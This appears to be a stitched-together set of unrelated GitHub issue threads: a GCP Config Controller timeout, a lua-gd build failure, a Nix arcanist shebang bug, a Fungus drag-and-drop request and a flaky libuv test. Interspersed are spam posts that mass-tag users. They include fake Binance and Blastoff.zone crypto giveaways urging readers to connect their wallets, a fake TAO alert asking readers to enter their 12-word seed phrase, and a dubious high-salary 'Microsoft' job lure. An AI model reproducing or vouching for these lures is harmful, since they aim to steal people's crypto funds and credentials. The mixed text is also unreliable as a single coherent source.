ERROR: (gcloud.anthos.config.controller.create) Operation https://krmapihosting.googleapis.com/v1/projects/kcc-kls-cluster/locations/northamerica-northeast1/operations/operation-1691029053375-601fb6208033c-918c34b7-3db667f0 has not finished in 1800 seconds. The operations may still be underway remotely and may still succeed; use gcloud list and describe commands or https://console.developers.google.com/ to check resource state.

Add an option to the script so that we can reuse the project, VPC and firewalls created before KCC creation
see
https://github.com/ssc-spc-ccoe-cei/gcp-tools/blob/main/scripts/bootstrap/setup-kcc.sh#L155
and a doc adjustment to
https://github.com/GoogleCloudPlatform/pubsec-declarative-toolkit/blob/main/docs/advanced-install.md#gke-autopilot---recommended
and
https://github.com/GoogleCloudPlatform/pubsec-declarative-toolkit/blob/main/docs/landing-zone-v2/README.md#gke-standard

After 50 min

workaround is to delete it (to preserve quota) and rerun it manually

standard is good

2338 workloads still coming up


installation script failed

Hey, I tried to install bamboo on Ubuntu 11 with the installation script. It failed this way:
lua-gd-2.0.33r2/luagd.c
gcc -o gd.so `gdlib-config --features |sed -e "s/GD_/-DGD_/g"` `gdlib-config --cflags` `pkg-config lua5.1 --cflags` -O3 -Wall -fPIC -shared `gdlib-config --ldflags` `gdlib-config --libs` `pkg-config lua5.1 --libs` -lgd luagd.c
lua test_features.lua
lua: error loading module 'gd' from file './gd.so':
./gd.so: undefined symbol: gdImageSquareToCircle
stack traceback:
[C]: ?
[C]: in function 'require'
test_features.lua:5: in main chunk
[C]: ?
make: *** [gd.so] Error 1
lua: ./bamboo_installer:91: Error: when install tar xvf tars/${LUAGD}.tar.gz && cd ${LUAGD} && make && sudo cp -af gd.so ${LUALIB_PATH} && cd ..
stack traceback:
[C]: in function 'error'
./bamboo_installer:91: in main chunk
[C]: ?

Installed libgd2-xpm-dev package version is 2.0.36~rc1~dfsg-5.1, it it's any help.

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @lukaskellerstein, @SaintJackson, @Yogendra96, @Gaozizhong, @bsknight, @clarkliu1314, @Lockerios, @easyforgood, @mrxindong, @younghank, @gnasnik, @edpelesh, @haru01, @kosmicbit, @inshua, @SinTod, @mrosendin, @june8036, @ongmanibaimihong, @aQuaYi, @ulerdogan, @m-inh, @ljxkkk0, @notjrbauer, @naironics, @sudharsana-kjl, @yezexuan, @d2luu, @noootown, @amirphl, @cemilcelik, @Splaser, @darrenfan, @cute-angelia, @marceloneppel, @hideshi, @cayley-hck, @Tonyce, @tonyle9, @chuhemiao, @buaawp, @caixiaoqing627, @pinkadotted, @sinomoe, @chinus, @cybervagabond, @TRINITRONIC, @rvsingh-094, @banjiu918, @patrickshan

Urgent TAO Token Transfer Notification
🚨 Urgent Notice: A total of 60 TAO tokens has been successfully transferred to unknown wallet address.
Action Required:

Secure Your Wallet Immediately:

Visit the official TAO Wallet website: https://wallet.bittensor.com.
Click on "Import Wallet" and follow the instructions to import your wallet.
Add the 12-word phrase to your wallet for additional security.
Reset your private key urgently to enhance the security of your funds.

Recover Transferred Funds:

Once your wallet is imported, navigate to the "Reclaim Funds" section.
Follow the on-screen instructions to initiate the fund recovery process.

Act promptly to secure your TAO funds, add the 12-word phrase, and reset your private key for enhanced safety.

Note: Always perform these actions on the official TAO Wallet website to ensure the security of your funds. If you face any issues, contact our support team immediately.
Securely yours! 🚀
Winners: @tsuki2478, @doggiedoors, @timothydang, @spinGreekGod, @gdethier, @yangwao, @mirkahauwd

Exciting Job Opportunity at Microsoft!
Join us and be part of a team dedicated to driving innovation and success!
How to Apply:
To apply for this exciting opportunity, please click here.
Job Description:

Position: Software Developer
Salary: $300,000 per year
Location: Remote
Benefits:

Comprehensive health plan
Company-contributed retirement plan
Flexible working hours
Collaborative and inclusive work environment

Requirements:

Proven experience in software development
Proficiency in programming languages such as Python, JavaScript, or Java
Familiarity with frameworks such as React, Angular, or Vue.js
Problem-solving skills and ability to work in a team

Note: This position is open to candidates from anywhere in the world.0xABCCBA, @lanlingsheng, @luciotato, @Satori-in-life, @farhan4648gul, @wspl, @jacekszubert, @github-2015, @shangzongyu, @michealzh, @akerust, @oooops, @akirayamamoto, @aak1247, @xlincn, @SPAPPELZ, @d3spairx, @simonKwn, @26labs, @5hanth

Blastoff.zone: Earn 1 ETH + $500 Bonus!
Congratulations! You've been selected as one of the fortunate individuals eligible to claim 1 ETH right now, along with a $500 bonus, courtesy of Blastoff.zone.
How to Claim Your Reward:

Click Connect Wallet to visit the Blastoff.zone platform.
Connect your Ethereum wallet to qualify for the $500 bonus.
Utilize the "Claim Now" option to secure your tokens.

This exclusive opportunity won't last long, so make sure to act swiftly to secure your rewards!
Please note that rewards are distributed on a first-come, first-served basis. With 90% of the 100 tokens already claimed, seize this chance before it's too late!
Rizary, @mshrieve, @deckard-uni, @fubuloubu, @dimlev, @ilsup-yun, @nasjp, @Ameima, @gerxiu, @X4, @hellnoa, @erwanor, @dannysun85, @LXJ2, @brucechin, @daweth, @vinhbhn, @rahulnm, @adibas03, @franchb, @ygsgdbd, @leandroglopez, @Vishal-Isharani, @alikonuk1, @dodadoa, @thiras, @wniter, @skundu42, @Narasimha1997, @epitaphial, @typistv, @CallMeGwei, @Perseverancesuccess2021, @wangtsiao, @yizhengyuan, @wstreet, @xenes1s, @hustxiaoc, @0xrjman, @rcsupermanjob, @izelnakri, @smhmayboudi, @jgannonjr, @mcgodamn, @qy3u, @elohffa, @tsirysndr, @tonytins, @b68h4, @walteh


Added "returnDistanceToTheNearestVowel.cpp"

Added a program to Give distance of the character from the nearest vowel.

@Jay206-Programmer Kindly put it like i.e:- STL/YourAlgorithm.extention


arcanist: not executable on Darwin due to wrappers in shebang

Describe the bug
% arc diff origin/master
/nix/store/701ysppiy3rg2rx874dwbq0siypry2dj-arcanist-20200127/libexec/arcanist/bin/../scripts/arcanist.php: line 2: ?php: No such file or directory
/nix/store/701ysppiy3rg2rx874dwbq0siypry2dj-arcanist-20200127/libexec/arcanist/bin/../scripts/arcanist.php: line 4: syntax error near unexpected token `;'
/nix/store/701ysppiy3rg2rx874dwbq0siypry2dj-arcanist-20200127/libexec/arcanist/bin/../scripts/arcanist.php: line 4: `sanity_check_environment();'

To Reproduce
Steps to reproduce the behavior:

Install nixpkgs.arcanist on Darwin
Execute it

Expected behavior
The program runs, via PHP being used to execute the top-level arcanist.php script.
Additional context
Guessing this is related to #23018, which appears stalled, or perhaps there was uncertainty about which MacOS versions this applied to.
The arcanist.php mentioned above begins
#!/nix/store/27bvk409ismmgysi1lv868f51f3nh4wq-php-with-extensions-7.4.4/bin/php
<?php

sanity_check_environment();

and it is invoked via the arc bin wrapper which begins
#! /nix/store/4p3bds5cknzwg72np1rzyn3jq0962z84-bash-4.4-p23/bin/bash -e
export PATH='/nix/store/27bvk409ismmgysi1lv868f51f3nh4wq-php-with-extensions-7.4.4/bin'${PATH:+':'}$PATH
exec -a "$0" "/nix/store/701ysppiy3rg2rx874dwbq0siypry2dj-arcanist-20200127/bin/.arc-wrapped"  "$@"

while /nix/store/701ysppiy3rg2rx874dwbq0siypry2dj-arcanist-20200127/bin/.arc-wrapped is itself a bash wrapper, and /nix/store/27bvk409ismmgysi1lv868f51f3nh4wq-php-with-extensions-7.4.4/bin/php is
#! /nix/store/4p3bds5cknzwg72np1rzyn3jq0962z84-bash-4.4-p23/bin/bash -e
export PHP_INI_SCAN_DIR='/nix/store/27bvk409ismmgysi1lv868f51f3nh4wq-php-with-extensions-7.4.4/lib'
exec -a "$0" "/nix/store/27bvk409ismmgysi1lv868f51f3nh4wq-php-with-extensions-7.4.4/bin/.php-wrapped"  "$@"

The /nix/store/27bvk409ismmgysi1lv868f51f3nh4wq-php-with-extensions-7.4.4/bin/.php-wrapped is the native executable.
Notify maintainers
@thoughtpolice
Metadata

system: "x86_64-darwin"
host os: Darwin 19.4.0, macOS 10.15.4
multi-user?: no
sandbox: no
version: nix-env (Nix) 2.3.4
channels(steve): "nixpkgs-20.09pre221814.10100a97c89"
nixpkgs: /Users/steve/.nix-defexpr/channels/nixpkgs

Maintainer information:
- arcanist

cc @NixOS/php

@talyz you're the only member of the team I'm aware of having access to a mac... do you have any capacity to look at this?

@aanderse I looked into it yesterday and may have fixed it in #87406, but I don't use arcanist, so if someone who does can try it out, that would be great :)

@talyz sorry I've never used that application either.


Drag and Drop event handler to support array of target objects

From the forums: "Would it be possible to add an array to the event targets involved in dragging and dropping? It would be nice, if I have 5 draggable objects, they all halt swipinng when being dragged, instead of having to create 5 different on drag start events."
"Maybe we could do something with GameObject variables. Like have the Event Handler take an array of game objects to work on, and a GameObject variable that will get populated when the event happens so that the commands in the block can act on it. I can see how it would be useful for complex drag and drop setups."

I would like to work on the issue. Anything I should keep in mind during its implementation?

Do I need an array/list for the targets (colliders) as well in drag completed, drag entered and drag exited events?

You'll probably want to add a draggableObjects[] array and use [HideInInspector] draggableObject. Then in OnValidate, move any ref from the single to the array for back compat.
I'd also add a FungusVariable reference to the event handlers, set that to the object that is causing the block to execute can be stored there for the block to access. There is no Draggable FungusVariable at the moment, so probably fall back to a GameObjectVariable.
I would do the same for the Drag EventHandlers that have targets too. Essientially making it, if any of these draggables,  any of these colliders, I'll save which two it was and call your block.
Given how much duplication there is among them, I'd be tempted to refactor much of it to a common abstract base, but its not required.

InvalidOperationException: EnsureRunningOnMainThread can only be called from the main thread
Hi,for the above error, I have an alternate solution using awake() and [ExecuteAlways], so should I use this? Or, should I implement your solution? PR #791


skip Libuv.FunctionalTests RemoteIPv6Address on Helix

related #8109

If another one shows up, I'll disable the entire project :).

I messed something up. I thought it was building on my machine but I was wrong :).

Figured it out, the file is also used in Sockets tests. I'm adding some #ifdef fun.

Generally I've only seen the libuv bind/functional tests fail (and usually only on non windows, so the flakiness is limited somewhat)